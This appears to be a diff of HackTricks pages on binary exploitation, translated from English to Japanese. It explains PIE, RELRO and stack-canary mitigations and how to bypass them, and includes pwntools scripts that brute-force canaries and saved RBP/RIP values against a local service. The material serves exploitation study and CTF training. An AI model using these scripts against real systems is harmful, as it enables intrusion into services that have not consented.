- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary. - この保護を **バイパス** するために、バイナリ内に既に存在する実行可能コードのチャンクを実行するような技術、例えば [**ROP**](../rop-return-oriented-programing/) を使用することが可能です。
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/) - [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/) - [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- **Ret2...** - **Ret2...**
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -2,30 +2,30 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses. PIE**位置独立実行可能ファイル**)としてコンパイルされたバイナリは、**プログラムが実行されるたびに異なるメモリ位置にロードされる**ことを意味し、ハードコーディングされたアドレスを防ぎます。
The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**. これらのバイナリを悪用するトリックは、**相対アドレス**を利用することにあります。プログラムの部分間のオフセットは、絶対位置が変わっても同じままです。**PIEをバイパスするには、1つのアドレスを漏洩させるだけで済みます**。通常は、フォーマットストリング攻撃のような脆弱性を使用して**スタック**から取得します。アドレスを取得したら、その**固定オフセット**を使って他のアドレスを計算できます。
A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\ PIEバイナリを悪用する際の役立つヒントは、**基本アドレスが通常000で終わる**ことです。これは、メモリページがランダム化の単位であり、サイズが0x1000バイトであるためです。このアライメントは、**エクスプロイトが期待通りに機能していない場合の重要なチェック**となり、正しい基本アドレスが特定されているかどうかを示します。\
Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations. また、エクスプロイトにこれを使用することもできます。アドレスが**`0x649e1024`**にあることが漏洩した場合、**基本アドレスは`0x649e1000`**であることがわかり、そこから関数や位置の**オフセットを計算**できます。
## Bypasses ## バイパス
In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this: PIEをバイパスするには、**ロードされたバイナリのアドレスを漏洩させる**必要があります。これにはいくつかのオプションがあります:
- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place. - **ASLRを無効にする**ASLRが無効になっている場合、PIEでコンパイルされたバイナリは常に**同じアドレスにロードされる**ため、**PIEは無意味になります**。オブジェクトのアドレスは常に同じ場所にあります。
- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) - 漏洩を**与えられる**簡単なCTFチャレンジで一般的、[**この例を確認**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)
- **Brute-force EBP and EIP values** in the stack until you leak the correct ones: - スタック内の**EBPおよびEIP値をブルートフォース**して正しいものを漏洩させる:
{{#ref}} {{#ref}}
bypassing-canary-and-pie.md bypassing-canary-and-pie.md
{{#endref}} {{#endref}}
- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). - [**フォーマットストリング**](../../format-strings/)のような**任意の読み取り**脆弱性を使用して、バイナリのアドレスを漏洩させ(前の技術のようにスタックから)、バイナリの基本を取得し、そこからオフセットを使用します。[**ここに例を見つけてください**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass)。
## References ## 参考文献
- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) - [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)

View File

@ -1,56 +1,55 @@
# BF Addresses in the Stack # スタック内のBFアドレス
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** **バイナリがカナリアとPIE位置独立実行可能ファイルによって保護されている場合、それをバイパスする方法を見つける必要があります。**
![](<../../../images/image (865).png>) ![](<../../../images/image (865).png>)
> [!NOTE] > [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ > **`checksec`** は、バイナリがカナリアによって保護されていることを見つけられない場合があります。これは静的にコンパイルされており、関数を特定できないためです。\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. > しかし、関数呼び出しの最初にスタックに値が保存されており、その値が終了前にチェックされることに気づけば、手動で確認できます。
## Brute-Force Addresses ## ブルートフォースアドレス
In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\ **PIEをバイパスするためには、いくつかのアドレスを漏洩させる必要があります。** もしバイナリがアドレスを漏洩させていない場合、最善の方法は**脆弱な関数内のスタックに保存されたRBPとRIPをブルートフォースすることです。**\
For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.** 例えば、バイナリが**カナリア**と**PIE**の両方で保護されている場合、カナリアをブルートフォースし始め、その後の8バイトx64が保存された**RBP**であり、次の8バイトが保存された**RIP**になります。
> [!TIP] > [!TIP]
> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case. > スタック内の戻りアドレスはメインバイナリコードに属していると考えられています。脆弱性がバイナリコード内にある場合、通常はその通りです。
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
バイナリからRBPとRIPをブルートフォースするには、プログラムが何かを出力するか、単にクラッシュしない場合、正しいと推測されたバイトが有効であることを確認できます。カナリアをブルートフォースするために提供された**同じ関数**を使用してRBPとRIPをブルートフォースできます
```python ```python
from pwn import * from pwn import *
def connect(): def connect():
r = remote("localhost", 8788) r = remote("localhost", 8788)
def get_bf(base): def get_bf(base):
canary = "" canary = ""
guess = 0x0 guess = 0x0
base += canary base += canary
while len(canary) < 8: while len(canary) < 8:
while guess != 0xff: while guess != 0xff:
r = connect() r = connect()
r.recvuntil("Username: ") r.recvuntil("Username: ")
r.send(base + chr(guess)) r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean(): if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x') print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess) canary += chr(guess)
base += chr(guess) base += chr(guess)
guess = 0x0 guess = 0x0
r.close() r.close()
break break
else: else:
guess += 1 guess += 1
r.close() r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base return base
# CANARY BF HERE # CANARY BF HERE
canary_offset = 1176 canary_offset = 1176
@ -67,30 +66,25 @@ print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp) base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:]) RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
``` ```
PIEを打破するために必要な最後のことは、**漏洩した**アドレスから**有用なアドレス**を計算することです:**RBP**と**RIP**です。
The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**. **RBP**から、**スタックにシェルを書き込んでいる場所**を計算できます。これは、スタック内の文字列_"/bin/sh\x00"_を書き込む場所を知るのに非常に役立ちます。漏洩したRBPとシェルコードの間の距離を計算するには、**RBPを漏洩させた後にブレークポイントを置き**、**シェルコードがどこにあるかを確認**するだけです。次に、シェルコードとRBPの間の距離を計算できます
From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
```python ```python
INI_SHELLCODE = RBP - 1152 INI_SHELLCODE = RBP - 1152
``` ```
**RIP**から**PIEバイナリのベースアドレス**を計算できます。これは**有効なROPチェーン**を作成するために必要です。\
From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\ ベースアドレスを計算するには、`objdump -d vunbinary`を実行し、最新のアドレスを逆アセンブルして確認します:
To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
![](<../../../images/image (479).png>) ![](<../../../images/image (479).png>)
In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000` この例では、すべてのコードを特定するために**1バイトと半分だけが必要**であることがわかります。この場合、ベースアドレスは**漏洩したRIPの最後が"000"**になります。たとえば、`0x562002970ecf`が漏洩した場合、ベースアドレスは`0x562002970000`です。
```python ```python
elf.address = RIP - (RIP & 0xfff) elf.address = RIP - (RIP & 0xfff)
``` ```
## 改善点
## Improvements [**この投稿からのいくつかの観察によると**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking)、RBPおよびRIP値を漏洩させる際に、サーバーが正しくない値でクラッシュしない可能性があり、BFスクリプトは良い値を取得したと考えることがあります。これは、**正確な値でなくても、いくつかのアドレスがそれを壊さない可能性があるためです**。
According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**. そのブログ投稿によると、サーバーへのリクエストの間に短い遅延を追加することが推奨されています。
According to that blog post it's recommended to add a short delay between requests to the server is introduced.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,32 +4,30 @@
## Relro ## Relro
**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses). **RELRO**は**Relocation Read-Only**の略で、**GOT (Global Offset Table)**の上書きに関連するリスクを軽減するためにバイナリで使用されるセキュリティ機能です。**RELRO**保護には2種類あります(1) **Partial RELRO**と(2) **Full RELRO**です。どちらもELFファイルから**GOT**と**BSS**の順序を変更しますが、結果と影響は異なります。具体的には、**GOT**セクションを**BSS**の_前_に配置します。つまり、**GOT**は**BSS**よりも低いアドレスにあり、したがって**BSS**内の変数をオーバーフローさせることで**GOT**エントリを上書きすることは不可能です(メモリへの書き込みは低いアドレスから高いアドレスに向かって行われることを思い出してください)。
Let's break down the concept into its two distinct types for clarity. この概念を明確にするために、2つの異なるタイプに分解しましょう。
### **Partial RELRO** ### **Partial RELRO**
**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities. **Partial RELRO**は、バイナリのパフォーマンスに大きな影響を与えずにセキュリティを強化するためのよりシンプルなアプローチを取ります。Partial RELROは**.gotを読み取り専用にしますGOTセクションの非PLT部分**。セクションの残りの部分(.got.pltなどはまだ書き込み可能であり、したがって攻撃の対象となることに注意してください。これは**任意の書き込み**の脆弱性から**GOT**が悪用されるのを防ぐものではありません。
Note: By default, GCC compiles binaries with Partial RELRO. デフォルトでは、GCCはPartial RELROでバイナリをコンパイルします。
### **Full RELRO** ### **Full RELRO**
**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime. **Full RELRO**は、**GOT全体.gotと.got.pltの両方および.fini_array**セクションを完全に**読み取り専用**にすることで保護を強化します。バイナリが起動すると、すべての関数アドレスが解決され、GOTにロードされ、その後、GOTは読み取り専用としてマークされ、実行時にそれに対する変更を効果的に防ぎます。
However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries. ただし、Full RELROのトレードオフはパフォーマンスと起動時間にあります。GOTを読み取り専用としてマークする前に、すべての動的シンボルを起動時に解決する必要があるため、**Full RELROが有効なバイナリは読み込み時間が長くなる可能性があります**。この追加の起動オーバーヘッドが、すべてのバイナリでFull RELROがデフォルトで有効になっていない理由です。
It's possible to see if Full RELRO is **enabled** in a binary with:
バイナリでFull RELROが**有効**かどうかを確認することができます:
```bash ```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW readelf -l /proc/ID_PROC/exe | grep BIND_NOW
``` ```
## バイパス
## Bypass フル RELRO が有効な場合、バイパスする唯一の方法は、任意の実行を得るために GOT テーブルに書き込む必要のない別の方法を見つけることです。
If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution. **LIBC の GOT は通常部分的な RELRO であるため、任意の書き込みで変更可能です。** 詳細は [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**。**
Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,73 +1,73 @@
# Stack Canaries # スタックカナリア
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## **StackGuard and StackShield** ## **StackGuard StackShield**
**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**. **StackGuard** は、**EIP (Extended Instruction Pointer)** の前に **カナリア** として知られる特別な値 `0x000aff0d`ヌル、改行、EOF、キャリッジリターンを表すを挿入して、バッファオーバーフローから保護します。しかし、`recv()``memcpy()``read()`、および `bcopy()` のような関数は依然として脆弱であり、**EBP (Base Pointer)** を保護することはありません。
**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables. **StackShield** は、すべての戻りアドレス (**EIPs**) を保存する **グローバルリターンスタック** を維持することで、StackGuard よりも洗練されたアプローチを取ります。この設定により、オーバーフローが発生しても害を及ぼさず、保存された戻りアドレスと実際の戻りアドレスを比較してオーバーフローの発生を検出できます。さらに、StackShield は戻りアドレスを境界値と照合して、**EIP** が期待されるデータ空間の外を指しているかどうかを検出できます。しかし、この保護は Return-to-libc、ROP (Return-Oriented Programming)、または ret2ret のような技術によって回避可能であり、StackShield がローカル変数を保護しないことを示しています。
## **Stack Smash Protector (ProPolice) `-fstack-protector`:** ## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure. このメカニズムは、**EBP** の前に **カナリア** を配置し、ローカル変数を再配置してバッファをより高いメモリアドレスに配置し、他の変数を上書きしないようにします。また、ローカル変数の上にスタックで渡された引数を安全にコピーし、これらのコピーを引数として使用します。しかし、8 要素未満の配列やユーザーの構造内のバッファは保護されません。
The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`. **カナリア** は `/dev/urandom` から派生したランダムな数またはデフォルト値 `0xff0a0000` です。これは **TLS (Thread Local Storage)** に保存され、スレッド間で共有メモリ空間がスレッド固有のグローバルまたは静的変数を持つことを可能にします。これらの変数は最初に親プロセスからコピーされ、子プロセスは親や兄弟に影響を与えずにデータを変更できます。しかし、**`fork()` を使用して新しいカナリアを作成しない場合、すべてのプロセス(親と子)は同じカナリアを共有し、脆弱になります**。**i386** アーキテクチャでは、カナリアは `gs:0x14` に保存され、**x86_64** では `fs:0x28` に保存されます。
This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity. このローカル保護は、攻撃に脆弱なバッファを持つ関数を特定し、これらの関数の先頭にカナリアを配置するコードを注入し、末尾でその整合性を確認します。
When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling. ウェブサーバーが `fork()` を使用すると、カナリアをバイト単位で推測するブルートフォース攻撃が可能になります。しかし、`fork()` の後に `execve()` を使用すると、メモリ空間が上書きされ、攻撃が無効になります。`vfork()` は、子プロセスが書き込みを試みるまで複製なしで実行できるため、プロセス作成とメモリ処理に異なるアプローチを提供します。
### Lengths ### 長さ
In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.** `x64` バイナリでは、カナリアクッキーは **`0x8`** バイトの qword です。最初の 7 バイトはランダムで、最後のバイトは **ヌルバイト** です。
In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.** `x86` バイナリでは、カナリアクッキーは **`0x4`** バイトの dword です。最初の 3 バイトはランダムで、最後のバイトは **ヌルバイト** です。
> [!CAUTION] > [!CAUTION]
> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**. > 両方のカナリアの最下位バイトはヌルバイトです。これは、スタックの最初に低いアドレスから来るため、**文字列を読み取る関数はそれを読み取る前に停止します**。
## Bypasses ## バイパス
**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value. **カナリアを漏洩させ**、その後自分の値で上書きします(例:バッファオーバーフロー)。
- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time: - **カナリアが子プロセスでフォークされる場合**、1 バイトずつ **ブルートフォース** することが可能かもしれません:
{{#ref}} {{#ref}}
bf-forked-stack-canaries.md bf-forked-stack-canaries.md
{{#endref}} {{#endref}}
- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it: - バイナリに興味深い **漏洩または任意の読み取り脆弱性** がある場合、漏洩させることができるかもしれません:
{{#ref}} {{#ref}}
print-stack-canary.md print-stack-canary.md
{{#endref}} {{#endref}}
- **Overwriting stack stored pointers** - **スタックに保存されたポインタの上書き**
The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check: スタックがスタックオーバーフローに脆弱な場合、**上書き可能な文字列や関数へのアドレスを含む可能性があります**。これにより、スタックカナリアに到達することなく脆弱性を悪用できます。確認してください:
{{#ref}} {{#ref}}
../../stack-overflow/pointer-redirecting.md ../../stack-overflow/pointer-redirecting.md
{{#endref}} {{#endref}}
- **Modifying both master and thread canary** - **マスターとスレッドカナリアの両方を変更**
A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified). カナリアで保護されたスレッド関数のバッファ **オーバーフロー** を使用して、**スレッドのマスターカナリアを変更**できます。その結果、チェックが同じただし変更された2つのカナリアで使用されるため、緩和策は無効になります。
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\ さらに、カナリアで保護されたスレッド関数のバッファ **オーバーフロー** を使用して、**TLS に保存されたマスターカナリアを変更**することもできます。これは、スレッドの **スタック** での **bof** を介して TLS が保存されているメモリ位置に到達することが可能であるためです。\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\ その結果、チェックが同じただし変更された2つのカナリアで使用されるため、緩和策は無効になります。\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) この攻撃は次の書き込みで実行されます:[http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup. また、[https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) のプレゼンテーションも確認してください。これは、通常 **TLS****`mmap`** によって保存され、スレッドの **スタック** が作成されるときにも `mmap` によって生成されるため、前述の書き込みで示されたようにオーバーフローを許可する可能性があることを示しています。
- **Modify the GOT entry of `__stack_chk_fail`** - **`__stack_chk_fail` の GOT エントリを変更**
If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified. バイナリが Partial RELRO を持っている場合、任意の書き込みを使用して **`__stack_chk_fail`** の **GOT エントリをダミー関数に変更**し、カナリアが変更されてもプログラムがブロックされないようにできます。
This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) この攻撃は次の書き込みで実行されます:[https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
## References ## 参考文献
- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html) - [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) - [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

View File

@ -2,55 +2,54 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.** **カナリアとPIE位置独立実行可能ファイルによって保護されたバイナリに直面している場合、バイパスする方法を見つける必要があります。**
![](<../../../images/image (865).png>) ![](<../../../images/image (865).png>)
> [!NOTE] > [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\ > **`checksec`** がバイナリがカナリアによって保護されていることを見つけられない場合があります。これは静的にコンパイルされており、関数を特定できないためです。\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting. > ただし、関数呼び出しの最初にスタックに値が保存され、この値が終了前にチェックされることを見つけることで、手動で気づくことができます。
## Brute force Canary ## ブルートフォースカナリア
The best way to bypass a simple canary is if the binary is a program **forking child processes every time you establish a new connection** with it (network service), because every time you connect to it **the same canary will be used**. 単純なカナリアをバイパスする最良の方法は、バイナリが**新しい接続を確立するたびに子プロセスをフォークするプログラム**である場合です(ネットワークサービス)。なぜなら、接続するたびに**同じカナリアが使用されるからです**。
Then, the best way to bypass the canary is just to **brute-force it char by char**, and you can figure out if the guessed canary byte was correct checking if the program has crashed or continues its regular flow. In this example the function **brute-forces an 8 Bytes canary (x64)** and distinguish between a correct guessed byte and a bad byte just **checking** if a **response** is sent back by the server (another way in **other situation** could be using a **try/except**): したがって、カナリアをバイパスする最良の方法は、**文字ごとにブルートフォースすること**であり、推測したカナリアバイトが正しいかどうかは、プログラムがクラッシュしたか、通常のフローを続けているかを確認することで判断できます。この例では、関数は**8バイトのカナリアx64をブルートフォースし**、正しく推測されたバイトと不正なバイトを**チェック**することで区別します。サーバーから**レスポンス**が返されるかどうかを確認します(**他の状況**では**try/except**を使用することもできます):
### Example 1 ### 例 1
This example is implemented for 64bits but could be easily implemented for 32 bits.
この例は64ビット用に実装されていますが、32ビット用にも簡単に実装できます。
```python ```python
from pwn import * from pwn import *
def connect(): def connect():
r = remote("localhost", 8788) r = remote("localhost", 8788)
def get_bf(base): def get_bf(base):
canary = "" canary = ""
guess = 0x0 guess = 0x0
base += canary base += canary
while len(canary) < 8: while len(canary) < 8:
while guess != 0xff: while guess != 0xff:
r = connect() r = connect()
r.recvuntil("Username: ") r.recvuntil("Username: ")
r.send(base + chr(guess)) r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean(): if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x') print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess) canary += chr(guess)
base += chr(guess) base += chr(guess)
guess = 0x0 guess = 0x0
r.close() r.close()
break break
else: else:
guess += 1 guess += 1
r.close() r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary) print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base return base
canary_offset = 1176 canary_offset = 1176
base = "A" * canary_offset base = "A" * canary_offset
@ -58,43 +57,41 @@ print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
``` ```
### 例2
### Example 2 これは32ビット用に実装されていますが、64ビットに簡単に変更できます。\
また、この例では**プログラムが最初に入力のサイズを示すバイト**とペイロードを期待していることに注意してください。
This is implemented for 32 bits, but this could be easily changed to 64bits.\
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
```python ```python
from pwn import * from pwn import *
# Here is the function to brute force the canary # Here is the function to brute force the canary
def breakCanary(): def breakCanary():
known_canary = b"" known_canary = b""
test_canary = 0x0 test_canary = 0x0
len_bytes_to_read = 0x21 len_bytes_to_read = 0x21
for j in range(0, 4): for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte # Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff): for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="") print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size # Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little")) target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary # Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little")) target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value # Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.") output = target.recvuntil(b"exit.")
if b"YUM" in output: if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on # If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary)) print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little") known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1 len_bytes_to_read += 1
break break
# Return the canary # Return the canary
return known_canary return known_canary
# Start the target process # Start the target process
target = process('./feedme') target = process('./feedme')
@ -104,18 +101,17 @@ target = process('./feedme')
canary = breakCanary() canary = breakCanary()
log.info(f"The canary is: {canary}") log.info(f"The canary is: {canary}")
``` ```
## スレッド
